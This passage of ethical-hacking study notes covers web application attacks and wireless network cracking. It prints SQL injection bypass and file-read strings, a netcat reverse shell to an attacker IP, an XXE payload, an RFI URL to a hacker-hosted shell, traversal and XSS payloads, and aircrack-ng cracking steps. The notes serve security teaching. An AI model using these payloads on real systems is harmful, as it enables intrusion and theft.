    the user gives you an SQL statement that you will unknowingly run on your database.</p>
  <ul>
    <li><strong>SQLi is used for</strong>:
      <ul>
        <li>Bypass authentication</li>
        <li>Extract information</li>
        <li>Insert injection</li>
      </ul>
    </li>
  </ul>
  <p><strong>SQL Syntax - Basics:</strong></p>
  <table>
    <thead>
      <tr>
        <th>SQL Command</th>
        <th align="left">Info.</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td><code>SELECT</code></td>
        <td align="left">extracts data from a database</td>
      </tr>
      <tr>
        <td><code>UPDATE</code></td>
        <td align="left">updates data in a database</td>
      </tr>
      <tr>
        <td><code>DELETE</code></td>
        <td align="left">deletes data from a database</td>
      </tr>
      <tr>
        <td><code>INSERT INTO</code></td>
        <td align="left">inserts new data into a database</td>
      </tr>
      <tr>
        <td><code>ALTER TABLE</code></td>
        <td align="left">modifies a table</td>
      </tr>
      <tr>
        <td><code>DROP TABLE</code></td>
        <td align="left">deletes a table</td>
      </tr>
      <tr>
        <td><code>CREATE INDEX</code></td>
        <td align="left">creates an index (search key)</td>
      </tr>
      <tr>
        <td><code>DROP INDEX</code></td>
        <td align="left">deletes an index</td>
      </tr>
      <tr>
        <td><code>UNION</code></td>
        <td align="left">is used to combine the result-set of two or more SELECT statements.</td>
      </tr>
    </tbody>
  </table>
  <hr>
  <h3>SQL Injection in action:</h3>
  <ul>
    <li>
      <p>On the UserId input field, you can enter:</p>
      <ul>
        <li><code>105 OR 1=1</code>.</li>
      </ul>
    </li>
    <li>
      <p>The is valid and will not return only UserId 105, this injection will return ALL rows from the "Users" table,
        <strong>since OR 1=1 is always TRUE</strong>. Then, the SQL statement will look like this:</p>
      <ul>
        <li><code>SELECT * FROM Users WHERE UserId = 105 OR 1=1;</code></li>
      </ul>
    </li>
    <li>
      <p>Double dash ( <code>--</code> ) tells the server to ignore the rest of the query (in this example, the password
        check)</p>
    </li>
  </ul>
  <blockquote>
    <p>⚠️ <strong>Basic test to see if SQL injection is possible is just inserting a single quote ( <code>'</code>
        )</strong></p>
    <ul>
      <li>Can be on input field or URL</li>
      <li>This will make the web app return a SQL syntax error meaning that you are able to inject SQL queries.</li>
    </ul>
  </blockquote>
  <p><strong>Bypassing authentication:</strong></p>
  <ul>
    <li>
      <p><code>admin' or 1=1 -- </code></p>
      <ul>
        <li>Basically tells the server <strong>if 1 = 1 (always true)</strong> to allow the login and the double dash
          <code>--</code> will comment the rest of the query in this case, the password.</li>
      </ul>
    </li>
    <li>
      <p>variations: <code>1' or 1=1 #</code></p>
    </li>
    <li>
      <p>Based on <code>=</code> is always true;</p>
      <ul>
        <li><code>" or ""="</code> --&gt; The SQL above is valid and will return all rows from the "Users" table, since
          OR ""="" is always TRUE.</li>
        <li>This is valid and the SQL statement behind will look like this: <code>SELECT * FROM Users WHERE Name ="John
            Doe" AND Pass ="myPass"</code></li>
      </ul>
    </li>
  </ul>
  <p><u>Enumerating:</u></p>
  <ul>
    <li>
      <p><code>1' union all select 1,user() #</code></p>
      <ul>
        <li>The service are running as</li>
      </ul>
    </li>
    <li>
      <p><code>user' UNION ALL select 1,table_name,3,4,5 FROM information_schema.tables</code></p>
      <ul>
        <li>Dropping the tables</li>
      </ul>
    </li>
  </ul>
  <p><u>Load/Reading a file:</u></p>
  <ul>
    <li><code>bob' union all select 1,load_file("/etc/passwd"),3,4,5 --</code>
      <ul>
        <li>Reading the /etc/passwd file</li>
      </ul>
    </li>
  </ul>
  <p><u>Writing a file:</u></p>
  <ul>
    <li><code>bob' union all select 1,"Test",3,4,5 into outfile '/tmp/test.txt'--</code>
      <ul>
        <li>Writes the selected rows to a file. Column and line terminators can be specified to produce a specific
          output format.</li>
      </ul>
    </li>
  </ul>
  <p><strong>Fuzzing</strong> - inputting random data into a target to see what will happen</p>
  <p><strong>Tautology</strong> - using always true statements to test SQL (e.g. <code>1=1</code>)</p>
  <p><strong>In-band SQL injection</strong> - uses same communication channel to perform attack</p>
  <ul>
    <li>
      <p>Usually is when data pulled can fit into data exported (where data goes to a web table)</p>
    </li>
    <li>
      <p>Best for using <code>UNION</code> queries</p>
    </li>
  </ul>
  <p><strong>Out-of-band SQL injection</strong> - uses different communication channels (e.g. export results to file on
    web server)</p>
  <p><strong>Blind/inferential</strong> - error messages and screen returns don't occur; usually have to guess whether
    command work or use timing to know</p>
  <ul>
    <li><strong>SQLi Tools:</strong>
      <ul>
        <li>Sqlmap</li>
        <li>sqlninja</li>
        <li>Havij</li>
        <li>SQLBrute</li>
        <li>Pangolin</li>
        <li>SQLExec</li>
        <li>Absinthe</li>
        <li>BobCat</li>
      </ul>
    </li>
  </ul>
  <hr>
  <h3><strong>Broken Authentication</strong></h3>
  <p>Broken Authentication usually occurs due to the issues with the application’s authentication mechanism;</p>
  <ul>
    <li><strong>Credential Stuffing and Brute Force Attacks</strong></li>
    <li><strong>Weak Passwords &amp; Recovery Process</strong></li>
    <li><strong>Mismanagement of Session ID</strong></li>
  </ul>
  <p><em>An attacker can gain control over user accounts in a system. In the worst case, it could help them gain
      complete control over the system.</em></p>
  <hr>
  <h3><strong>Command Injection</strong></h3>
  <p>Execution of arbitrary commands on the host operating system via a vulnerable application.</p>
  <ul>
    <li>Injection are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.)
      to a system shell.</li>
    <li>Web apps sometimes need to execute OS commands to communicate with the underlying host OS and the file system.
      This can be done to run system commands, launch applications written in another programming language, or run
      shell, python, perl, or PHP scripts.</li>
  </ul>
  <p><strong>Example</strong>:</p>
  <ul>
    <li>Imagine a vulnerable application that has a common function that passes an <strong>IP address from a user
        input</strong> to the system's <strong>ping command</strong>.</li>
    <li>User input: <code>127.0.0.1</code></li>
    <li>The following command is executed on the host OS:
      <ul>
        <li><code>ping -c 5 127.0.0.1</code></li>
      </ul>
    </li>
    <li>Is possible to break out the ping command to execute the attacker arbitrary commands:
      <ul>
        <li><code>ping -c 5 127.0.0.1; id</code></li>
      </ul>
    </li>
    <li>If the system is vulnerable the output will look like this (showing two OS commands, <code>ping</code> and
      <code>id</code>):</li>
  </ul>
  <pre><code class="language-console">--- 127.0.0.1 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 3999ms
rtt min/avg/max/mdev = 0.023/0.056/0.074/0.021 ms

uid=0(root) gid=0(root) groups=0(root)
</code></pre>
  <ul>
    <li>Without input sanitizing the attacker can do reverse shell:
      <ul>
        <li><code>127.0.0.1; nc -nv &lt;attacker's IP&gt; 4444 -e /bin/bash</code></li>
      </ul>
    </li>
  </ul>
  <hr>
  <h3><strong>Sensitive Data Exposure</strong></h3>
  <p>When the web application doesn’t adequately protect sensitive information like <strong>session tokens, passwords,
      banking information, location, health data</strong>, or any other similar crucial data whose leak can be critical
    for the user.</p>
  <p><strong>Examples</strong>:</p>
  <ol>
    <li>
      <p>*An application stores credit card numbers in a database <u>without encryption</u>*<em>. If an attacker gets
          access to the database through SQL injection, he could easily get the credit card numbers.</em></p>
    </li>
    <li>
      <p><strong>An application store passwords in the database using unsalted or simple hashes</strong>. An attacker
        can expose the unsalted hashes using Rainbow Table attacks.</p>
    </li>
    <li>
      <p><strong>A website that doesn’t enforce TLS or uses weak encryption.</strong> An attacker could monitor network
        traffic and downgrade the connections from HTTPS to HTTP. Then, they can intercept the requests and steal the
        user’s session cookie</p>
    </li>
  </ol>
  <hr>
  <h3><strong>XEE - XML External Entities</strong></h3>
  <p>Is a type of attack against an application that parses XML input. This attack occurs when <strong>XML input
      containing a reference to an external entity is processed by a weakly configured XML parser.</strong></p>
  <ul>
    <li>Attackers can supply XML files with specially crafted DOCTYPE definitions to an XML parser with a weak security
      configuration to perform <strong>path traversal, port scanning, and numerous attacks, including denial of service,
        server-side request forgery (SSRF), or even remote code execution.</strong></li>
  </ul>
  <p><strong>Example</strong>:</p>
  <ul>
    <li>External entities can reference URIs to retrieve content from local files or network resources.</li>
    <li>This payload will return the content of <code>/etc/passwd</code> file on target system's OS; (for windows you
      could reference <code>file:///c:/boot.ini</code> )</li>
  </ul>
  <pre><code class="language-xml">&lt;?xml version="1.0" encoding="ISO-8859-1"?&gt;
&lt;!DOCTYPE foo [
  &lt;!ELEMENT foo ANY &gt;
  &lt;!ENTITY xxe SYSTEM "file:///etc/passwd" &gt;]&gt;
&lt;foo&gt;&amp;xxe;&lt;/foo&gt;
</code></pre>
  <hr>
  <h3><strong>RFI - Remote File Inclusion</strong></h3>
  <p>Is a method that allows an attacker to employ a script to include a remotely hosted file on the webserver. The
    vulnerability promoting RFI is largely found on websites running on PHP. This is because PHP supports the ability to
    <code>‘include’</code> or <code>‘require’</code> additional files within a script;</p>
  <p><strong>Vulnerable PHP Example</strong>:</p>
  <blockquote>
    <p><strong><code>$incfile = $_REQUEST["file"]; include($incfile.".php");</code></strong></p>
  </blockquote>
  <ul>
    <li>
      <p>The first line extracts the file parameter value from the HTTP request, while the second line uses that value
        to dynamically set the file name, without any appropriate sanitization of the file parameter value, this code
        can be exploited for unauthorized file uploads.</p>
    </li>
    <li>
      <p>For example the URL below contains an external reference to a reverse shell made in PHP file, stored in a
        remote location:</p>
      <ul>
        <li><code>http://www.example.com/vuln_page.php?file=http://www.hacker.com/netcat.php_</code></li>
      </ul>
    </li>
  </ul>
  <hr>
  <h3><strong>LFI - Local File Inclusion</strong>:</h3>
  <p>is very much similar to RFI. The only difference being that in LFI, in order to carry out the attack instead of
    including remote files, the attacker has to use local files (e.g: files on the current server can only be used to
    execute a malicious script).</p>
  <p><strong>Examples</strong>:</p>
  <ul>
    <li><code>http://example.com/?file=../../uploads/evil.php</code></li>
  </ul>
  <hr>
  <h3><strong>Directory Traversal</strong></h3>
  <p>An attacker can get sensitive information like the contents of the /etc/passwd file that contains a list of users
    on the server; Log files, source code, access.log and so on</p>
  <p><strong>Examples:</strong></p>
  <ul>
    <li><code>http://example.com/events.php?file=../../../../etc/passwd</code>
      <ul>
        <li>An attacker can get the contents of the <strong>/etc/passwd</strong> (file that contains a list of users on
          the server).</li>
      </ul>
    </li>
  </ul>
  <p><em>Similarly, an attacker may leverage the Directory Traversal vulnerability to access <strong>log files</strong>
      (for example, <strong>Apache access.log or error.log</strong>), <strong>source code</strong>, and other sensitive
      information. This information may then be used to advance an attack.</em></p>
  <hr>
  <h3><strong>XSS (Cross-site scripting)</strong></h3>
  <p>Inputting JavaScript into a web form input field that alters what the page does.</p>
  <ul>
    <li>Can also be passed via URL</li>
    <li>Can be malicious by accessing cookies and sending them to a remote host</li>
    <li>Can be mitigated by setting <strong>HttpOnly</strong> flag for cookies; But many hackers can circumvent this in
      order to execute XSS payloads.</li>
  </ul>
  <h3>Types of XSS:</h3>
  <ol>
    <li>
      <p><strong>Stored XSS</strong> (Persistent or Type-I) - stores the XSS in a forum or like for multiple people to
        access.</p>
    </li>
    <li>
      <p><strong>Reflected XSS</strong> (or also called a non-persistent XSS); when an application receives data in an
        HTTP request and includes that data within the immediate response in an unsafe way.</p>
    </li>
    <li>
      <p><strong>DOM Based XSS</strong> (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the
        attack payload is executed as a result of modifying the DOM “environment” in the victim's browser used by the
        original client side script, so that the client side code runs in an “unexpected” manner.</p>
    </li>
  </ol>
  <p>Examples of XSS payloads:</p>
  <ul>
    <li><code>"&gt;&lt;script&gt;alert(1)&lt;/script&gt;</code></li>
    <li><code>&lt;svg/onload="alert(1);"</code></li>
    <li><code>&lt;svg/OnLoad="`${prompt``}`"&gt;</code></li>
    <li><code>p=&lt;svg/1='&amp;q='onload=alert(1)&gt;</code></li>
  </ul>
  <p><em>Note: they vary regarding the filtering, validation and WAF capabilities.</em></p>
  <hr>
  <h3><strong>HTML Injection</strong></h3>
  <p>This vulnerability <strong>occurs when user input is not correctly sanitized and the output is not
      encoded.</strong> An injection allows the attacker to send a malicious HTML page to a victim.</p>
  <hr>
  <h3><strong>LDAP Injection</strong></h3>
  <p>Exploits applications that construct LDAP statements</p>
  <ul>
    <li>Format for LDAP injection includes )(&amp;)</li>
  </ul>
  <hr>
  <h3><strong>SOAP Injection</strong></h3>
  <p>Inject query strings in order to bypass authentication</p>
  <ul>
    <li>SOAP uses XML to format information</li>
    <li>Messages are "one way" in nature</li>
  </ul>
  <hr>
  <h3><strong>Buffer Overflow</strong></h3>
  <p>Attempts to write data into application's buffer area to overwrite adjacent memory, execute code or crash a system
  </p>
  <ul>
    <li>Inputs more data than the buffer is allowed</li>
    <li>Includes stack, heap, NOP sleds and more</li>
    <li><strong>Canaries</strong> - systems can monitor these - if they are changed, they indicate a buffer overflow has
      occurred; placed between buffer and control data</li>
  </ul>
  <hr>
  <h3><strong>Cross-Site Request Forgery (CSRF)</strong></h3>
  <p>Forces an end user to execute unwanted actions on an app they're already authenticated on</p>
  <ul>
    <li>Inherits identity and privileges of victim to perform an undesired function on victim's behalf</li>
    <li>Captures the session and sends a request based off the logged in user's credentials</li>
    <li>Can be mitigated by sending <strong>random challenge tokens</strong></li>
  </ul>
  <hr>
  <h3><strong>Session Fixation</strong></h3>
  <p>Attacker logs into a legitimate site and pulls a session ID; sends link with session ID to victim. Once victim logs
    in, attacker can now log in and run with user's credentials</p>
  <ul>
    <li><strong>Cookies</strong> - small text-based files stored that contains information like preferences, session
      details or shopping cart contents
      <ul>
        <li>Can be manipulated to change functionality (e.g. changing a cooking that says "ADMIN=no" to "yes")</li>
        <li>Sometimes, but rarely, can also contain passwords</li>
      </ul>
    </li>
  </ul>
  <hr>
  <h3><strong>HTTP Response Splitting</strong></h3>
  <p>Adds header response data to an input field so server splits the response</p>
  <ul>
    <li>Can be used to redirect a user to a malicious site</li>
    <li>Is not an attack in and of itself - must be combined with another attack</li>
    <li>With HTTP Response Splitting, it is possible to mount various kinds of attacks:
      <ul>
        <li>XSS</li>
        <li>Web Cache Poisoning (defacement)</li>
        <li>Browser cache poisoning</li>
        <li>Hijacking pages with user-specific information</li>
      </ul>
    </li>
  </ul>
  <hr>
  <h3><strong>Insecure direct object references (IDOR)</strong></h3>
  <p>Is a common vulnerability that occurs when a reference to an <u><strong>internal implementation object is exposed
        without any other access control</strong></u>. The vulnerability is often easy to discover and allows attackers
    to access unauthorized data.</p>
  <p align="center">
    <img width="69%"
      src="https://1tskcg39n5iu1jl9xp2ze2ma-wpengine.netdna-ssl.com/wp-content/uploads/2020/02/insecure-direct-object-reference-example.png">
  </p>
  <hr>
  <h2>Countermeasures</h2>
  <p>Input scrubbing for injection, SQL parameterization for SQL injection, input validation and sanitization for
    injections, keeping patched servers, turning off unnecessary services, ports and protocols</p>
  <h1>12. Hacking Wireless Networks</h1>
  <h2><u>Concepts and Terminology</u></h2>
  <h3>BSSID</h3>
  <p><strong>Basic Service Set Identifier (BSSID)</strong> - <strong>MAC address</strong> of the wireless access point
  </p>
  <h3>SSID</h3>
  <p><strong>Service Set Identifier (SSID)</strong> - Is a name of a network; text word (&lt;= 32 char) that identifies
    network; provides no security.</p>
  <h3>ESSID</h3>
  <p><strong>Extended Service Set Identifier (ESSID)</strong> - An extended basic service set (ESS) consists of all of
    the BSSs in the network. For all practical purposes, the ESSID identifies the same network as the SSID does.
    <strong>The term SSID is used most often.</strong></p>
  <ul>
    <li>
      <p><strong>802.11 Series</strong> - defines the standards for wireless networks</p>
    </li>
    <li>
      <p><strong>802.15.1</strong> - Bluetooth</p>
    </li>
    <li>
      <p><strong>802.15.4</strong> - Zigbee - low power, low data rate, close proximity ad-hoc networks</p>
    </li>
    <li>
      <p><strong>802.16</strong> - WiMAX - broadband wireless metropolitan area networks</p>
    </li>
    <li>
      <p><strong>Basic Service Set (BSS)</strong> - communication between a single AP and its clients</p>
    </li>
    <li>
      <p><strong>Orthogonal Frequency-Division Multiplexing (OFDM)</strong> - carries waves in various channels.</p>
    </li>
    <li>
      <p><strong>Multiple-Input Multiple-Output (MIMO)</strong> - MIMO uses multiple antennas at the transmitting and
        receiving sides to improve spectral efficiency by capitalizing on transmission and spatial diversities along
        with multipath propagation.</p>
    </li>
    <li>
      <p><strong>ISM Band</strong> - The ISM radio bands are portions of the radio spectrum reserved internationally for
        industrial, scientific and medical (ISM) purposes other than telecommunications. Examples of applications for
        the use of radio frequency (RF) energy in these bands include radio-frequency process heating, microwave ovens,
        and medical diathermy machines.</p>
    </li>
  </ul>
  <h3><strong>DSSS and FHSSS spectrums:</strong></h3>
  <p><img
      src="https://www.researchgate.net/profile/Edi_Kurniawan/publication/329286286/figure/fig1/AS:698501847580681@1543547226994/Frequency-spectrum-of-a-DSSS-b-FHSS.png"
      alt="dsss"></p>
  <ul>
    <li>
      <p><strong>Direct-Sequence Spread Spectrum (DSSS)</strong> - Combines all available waveforms into a single
        purpose.</p>
    </li>
    <li>
      <p><strong>Frequency-hopping spread spectrum (FHSS)</strong> - Is a method of transmitting radio signals by
        rapidly changing the carrier frequency among many distinct frequencies occupying a large spectral band.</p>
    </li>
    <li>
      <p><strong>Spectrum Analyzer</strong> - verifies wireless quality, detects rogue access points and detects attacks
      </p>
    </li>
  </ul>
  <h3><strong>Wireless Standards</strong>:</h3>
  <table>
    <thead>
      <tr>
        <th>Wireless Standard</th>
        <th>Operating Speed (Mbps)</th>
        <th>Frequency (GHz)</th>
        <th>Modulation Type</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>802.11a</td>
        <td>54 Mbps</td>
        <td>5 GHz</td>
        <td>OFDM</td>
      </tr>
      <tr>
        <td>802.11b</td>
        <td>11 Mbps</td>
        <td>2.4 GHz</td>
        <td>DSSS</td>
      </tr>
      <tr>
        <td>802.11g</td>
        <td>54 Mbps</td>
        <td>2.4 GHz</td>
        <td>OFDM and DSSS</td>
      </tr>
      <tr>
        <td>802.11n</td>
        <td>600 Mbps</td>
        <td>2.4-5 GHz</td>
        <td>OFDM</td>
      </tr>
      <tr>
        <td>802.11ac</td>
        <td>1000 Mbps</td>
        <td>5 GHz</td>
        <td>QAM</td>
      </tr>
    </tbody>
  </table>
  <h3><strong>Authentication</strong></h3>
  <ul>
    <li><strong>Three Types of Authentication</strong>
      <ul>
        <li><strong>Open System</strong> - no authentication</li>
        <li><strong>Shared Key Authentication</strong> - authentication through a shared key (password)</li>
        <li><strong>Centralized Authentication</strong> - authentication through something like <strong>RADIUS</strong>
        </li>
      </ul>
    </li>
    <li><strong>Association</strong> is the act of connecting; <strong>authentication</strong> is the act of identifying
      the client
      Antenna Types:</li>
  </ul>
  <blockquote>
    <p>⚠️ <strong>RADIUS</strong> is a networking protocol, operating on port 1812, that provides centralized
      Authentication, Authorization, and Accounting (AAA or Triple A) management for users who connect and use a network
      service.</p>
  </blockquote>
  <h3><strong>Antenna Types:</strong></h3>
  <p align="center">
    <img width="92%" src="https://mk0gcgablogq2ifx558u.kinstacdn.com/wp-content/uploads/2016/06/Wireless-Antenna.jpg">
  </p>
  <ul>
    <li><strong>Omnidirectional antenna</strong>
      <ul>
        <li>Signals goes on every direction like a dome.</li>
      </ul>
    </li>
    <li><strong>Dipole antenna</strong>
      <ul>
        <li>Goes on two directions.</li>
      </ul>
    </li>
    <li><strong>Directional antenna</strong>
      <ul>
        <li>Long individual beam, increased distances.</li>
        <li><strong>Yagi antenna</strong>
          <ul>
            <li>Very directional and high gain.</li>
          </ul>
        </li>
        <li><strong>Parabolic antenna</strong>
          <ul>
            <li>Focus the signal to a single point.</li>
          </ul>
        </li>
      </ul>
    </li>
    <li><strong>Patch Graphic antenna</strong>
      <ul>
        <li>Half Omni (e.g stick to the wall the get one side signals).</li>
      </ul>
    </li>
  </ul>
  <h2><u>Wireless Encryption Schemes</u></h2>
  <h2>Wireless Security</h2>
  <h3><strong>WEP</strong> - Wireless Equivalency Privacy</h3>
  <ul>
    <li>64/128 bit RC4 ICV</li>
    <li><strong>RC4</strong> - Rivest Cipher 4 Stream Cipher Algorithm<br></li>
    <li><strong>ICV</strong> - Integrity Check Value</li>
  </ul>
  <blockquote>
    <p>⚠️ Very old and insecure</p>
  </blockquote>
  <h3><strong>WPA</strong> - Wi-Fi Protected Access</h3>
  <ul>
    <li>Uses RC4 with TKIP (Temporal Key Integrity Protocol)
      <ul>
        <li>Initialization Vector (IV) is larger and an encrypted hash</li>
        <li>Every packet gets a unique 128-bit encryption key</li>
      </ul>
    </li>
    <li><strong>Personal | WPA-PSK</strong>
      <ul>
        <li>TKIP + <strong>PSK</strong></li>
        <li>64/128 bit <strong>RC4 MIC</strong></li>
        <li>Everyone uses the same 256-bit key</li>
      </ul>
    </li>
    <li><strong>Enterprise | WPA-802.1X</strong>
      <ul>
        <li>TKIP + <strong>RADIUS</strong></li>
        <li>64/128 bit <strong>RC4 MIC</strong></li>
        <li>Authenticates users individually with an authentication server (e.g., RADIUS)</li>
      </ul>
    </li>
  </ul>
  <h4>About TKIP - Temporal Key Integrity Protocol</h4>
  <ul>
    <li>Mixed the keys
      <ul>
        <li>Combines the secret root key with the IV</li>
      </ul>
    </li>
    <li>Adds sequence counter
      <ul>
        <li>Prevents replay attacks</li>
      </ul>
    </li>
    <li>Implements a 64-bit Message Integrity Check
      <ul>
        <li>Protecting against tampering</li>
      </ul>
    </li>
    <li>TKIP has it's own set of vulnerabilities
      <ul>
        <li>Deprecated in the 802.11-2012 standard</li>
      </ul>
    </li>
  </ul>
  <h3><strong>WPA2</strong> - Wi-Fi Protected Access v2</h3>
  <ul>
    <li>
      <p><strong>802.11i</strong> IEEE standard</p>
    </li>
    <li>
      <p>Enterprise</p>
      <ul>
        <li>CCMP + <strong>RADIUS</strong></li>
        <li>128 bit <strong>AES MIC Encryption</strong></li>
      </ul>
    </li>
    <li>
      <p>Personal</p>
      <ul>
        <li>CCMP + <strong>PSK</strong> (Pre Shared Key)</li>
        <li>128 bit <strong>AES MIC Encryption</strong></li>
      </ul>
    </li>
  </ul>
  <ul>
    <li>AES (Advanced Encryption Standard) replaced RC4</li>
    <li>CCMP (Counter Mode with Cipher Block Chaining Message Authentication Code Protocol) replaced TKIP</li>
  </ul>
  <ul>
    <li><strong>About CCMP</strong>
      <ul>
        <li>Uses AES for data confidentiality</li>
        <li>128-bit key and a 128-bit block size</li>
        <li>Requires additional computing resources</li>
        <li><strong>CCMP provides Data confidentiality (AES), authentication, and access control</strong></li>
      </ul>
    </li>
  </ul>
  <p align="center">
    <img
      src="https://gist.githubusercontent.com/Samsar4/62886aac358c3d484a0ec17e8eb11266/raw/a6960e23a5da2cc3c689416f284376f35d599c58/encryption2.png">
  </p>
  <table>
    <thead>
      <tr>
        <th>Wireless Standard</th>
        <th>Encryption</th>
        <th>IV Size (Bits)</th>
        <th>Key Length (Bits)</th>
        <th>Integrity Check</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>WEP</td>
        <td>RC4</td>
        <td>24</td>
        <td>40/104</td>
        <td>CRC-32</td>
      </tr>
      <tr>
        <td>WPA</td>
        <td>RC4 + TKIP</td>
        <td>48</td>
        <td>128</td>
        <td>Michael/CRC-32</td>
      </tr>
      <tr>
        <td>WPA2</td>
        <td>AES-CCMP</td>
        <td>48</td>
        <td>128</td>
        <td>CBC-MAC (CCMP)</td>
      </tr>
    </tbody>
  </table>
  <hr>
  <h2><u>Wireless Hacking</u></h2>
  <ul>
    <li>
      <p><strong>Threats</strong></p>
      <ul>
        <li>Access Control Attacks</li>
        <li>Integrity Attacks</li>
        <li>Confidentiality Attacks</li>
        <li>Availability Attacks</li>
        <li>Authentication Attacks</li>
      </ul>
    </li>
    <li>
      <p><strong>Network Discovery</strong></p>
      <ul>
        <li>Wardriving, warflying, warwalking, etc.</li>
        <li>Tools such as WiFiExplorer, WiFiFoFum, OpenSignalMaps, WiFinder</li>
        <li><strong>WIGLE</strong> - map for wireless networks</li>
        <li><strong>NetStumbler</strong> - tool to find networks</li>
        <li><strong>Kismet</strong> - wireless packet analyzer/sniffer that can be used for discovery
          <ul>
            <li>Works without sending any packets (passively)</li>
            <li>Can detects access points that have not been configured</li>
            <li>Works by channel hopping</li>
            <li>Can discover networks not sending beacon frames</li>
            <li>Ability to sniff packets and save them to a log file (readable by Wireshark/tcpdump)</li>
          </ul>
        </li>
        <li><strong>NetSurveyor</strong> - tool for Windows that does similar features to NetStumbler and Kismet
          <ul>
            <li>Doesn't require special drivers</li>
          </ul>
        </li>
      </ul>
    </li>
    <li>
      <p><strong>WiFi Adapter</strong></p>
      <ul>
        <li>AirPcap is mentioned for Windows, but isn't made anymore</li>
        <li><strong>pcap</strong> - driver library for Windows</li>
        <li><strong>libpcap</strong> - driver library for Linux</li>
      </ul>
    </li>
  </ul>
  <h2><u>Wireless Attacks</u></h2>
  <ul>
    <li><strong>Rogue Access Point</strong> - Unauthorized access point plugged into a wired one. (Can be accidental)
      <ul>
        <li>Tools for Rogue AP: <strong>Wi-Fi Pumpkin</strong>, <strong>Wi-Fi Pineapple</strong></li>
      </ul>
    </li>
    <li><strong>Evil Twin</strong> - Is a Rogue AP tha is broadcasting <strong>the same (or very similar) SSID</strong>.
      <ul>
        <li>Also known as a mis-association attack</li>
      </ul>
    </li>
    <li><strong>Honeyspot</strong> - faking a well-known hotspot with a rogue AP</li>
    <li><strong>Ad Hoc Connection Attack</strong> - connecting directly to another phone via ad-hoc network
      <ul>
        <li>Not very successful as the other user has to accept connection</li>
      </ul>
    </li>
    <li><strong>DoS Attack</strong> - either sends de-auth packets to the AP or jam the wireless signal
      <ul>
        <li>With a de-auth, you can have the users connect to your AP instead if it has the same name</li>
        <li>Jammers are very dangerous as they are illegal</li>
      </ul>
    </li>
    <li><strong>MAC Filter</strong> - only allows certain MAC addresses on a network
      <ul>
        <li>Easily broken because you can sniff out MAC addresses already connected and spoof it
          <ul>
            <li>Tools for spoofing include: <strong>SMAC</strong> and <strong>TMAC</strong></li>
          </ul>
        </li>
      </ul>
    </li>
  </ul>
  <h2><u>Wireless Encryption Attacks</u></h2>
  <h3><strong>WEP Cracking</strong></h3>
  <ul>
    <li>
      <p>To crack the WEP key for an access point, we need to gather lots of initialization vectors (IVs). Attackers can
        use injection to speed up the process by replaying packets</p>
    </li>
    <li>
      <p><strong>Process:</strong></p>
      <ol>
        <li>Start the wireless interface in monitor mode on the specific AP channel</li>
        <li>Test the injection capability of the wireless device to the AP</li>
        <li>Use aireplay-ng to do a fake authentication with the access point</li>
        <li>Start airodump-ng on AP channel with a BSSID filter to collect the new unique IVs</li>
        <li>Start aireplay-ng in ARP request replay mode to inject packets</li>
        <li>Run aircrack-ng to crack key using the IVs collected</li>
      </ol>
    </li>
  </ul>
  <h3><strong>WPA/WPA2 Cracking</strong></h3>
  <ul>
    <li>
      <p>Much more difficult than WEP</p>
    </li>
    <li>
      <p>Uses a constantly changing temporal key and user-defined password</p>
    </li>
    <li>
      <p><strong>Key Reinstallation Attack</strong> (KRACK) - replay attack that uses third handshake of another
        device's session</p>
    </li>
    <li>
      <p>Most other attacks are simply brute-forcing the password</p>
    </li>
    <li>
      <p><strong>Process:</strong></p>
      <ol>
        <li>Start monitoring and find the BSSID (e.g: using <code>airodump-ng</code>)</li>
        <li>Start monitoring only the BSSID with .cap output file</li>
        <li>The goal is to grab a WPA handshake; The attacker can wait to some client to connect to grab the handshake
          /or use a deauth attack to deauthenticate a client to make him/her connect again.</li>
        <li>Start <code>aircrack-ng</code> using a good wordlist to brute force the .cap file that you recorded on step
          2.</li>
      </ol>
    </li>
  </ul>
  <h3><strong>Tools:</strong></h3>
  <ul>
    <li>
      <p><strong>Aircrack-ng Suite</strong> - is a complete suite of tools to assess WiFi network security.</p>
      <ol>
        <li><strong>Monitoring:</strong> Packet capture and export of data to text files for further processing by third
          party tools.</li>
        <li><strong>Attacking:</strong> Replay attacks, deauthentication, fake access points and others via packet
          injection.</li>
        <li><strong>Testing:</strong> Checking WiFi cards and driver capabilities (capture and injection).
          <ul>
            <li><strong><code>airodump-ng</code></strong> - Airodump-ng is used for packet capturing of raw 802.11
              frames and is particularly suitable for collecting WEP IVs (Initialization Vector) for the intent of using
              them with aircrack-ng.</li>
            <li><strong><code>airmon-ng</code></strong> - Used to enable monitor mode on wireless interfaces.</li>
            <li><strong><code>aireplay-ng</code></strong> - Is used to inject frames (arp replay, deauthentication
              attack, etc).</li>
            <li><strong><code>aircrack-ng</code></strong> - Is an 802.11 WEP and WPA/WPA2-PSK key cracking program.</li>
          </ul>
        </li>
      </ol>
    </li>
    <li>
      <p><strong>Cain and Abel</strong> - Sniffs packets and cracks passwords (may take longer)</p>
      <ul>
        <li>Relies on statistical measures and the PTW technique to break WEP</li>
      </ul>
    </li>
    <li>
      <p><strong>Wifite</strong> - Is an automated wireless attack tool.</p>
    </li>
    <li>
      <p><strong>KisMAC</strong> - MacOS tool to brute force WEP or WPA
        passwords</p>
    </li>
    <li>
      <p><strong>Fern WiFi Cracker</strong></p>
    </li>
    <li>
      <p><strong>WEPAttack</strong></p>
    </li>
    <li>
      <p><strong>WEPCrack</strong></p>
    </li>
    <li>
      <p><strong>Portable Penetrator</strong></p>
    </li>
    <li>
      <p><strong>Elcomsoft's Wireless Security Auditor</strong></p>
    </li>
    <li>
      <p>Methods to crack include <strong>PTW</strong>, <strong>FMS</strong>, and <strong>Korek</strong> technique</p>
    </li>
  </ul>
  <h2><u>Bluetooth Attacks</u></h2>
  <ul>
    <li><strong>Bluesmacking</strong> - Denial of service against device</li>
    <li><strong>Bluejacking</strong> - Sending unsolicited messages</li>
    <li><strong>Bluebugging</strong> - Remotely using a device's features</li>
    <li><strong>Bluesnarfing</strong> - Theft of data from a device</li>
  </ul>
  <h2><u>Wireless Sniffing</u></h2>
  <ul>
    <li>Very similar to sniffing a wired network</li>
    <li><strong>Tools</strong>
      <ul>
        <li><strong>NetStumbler</strong></li>
        <li><strong>Kismet</strong> - is a network detector, packet sniffer, and IDS for 802.11 wireless LANs.</li>
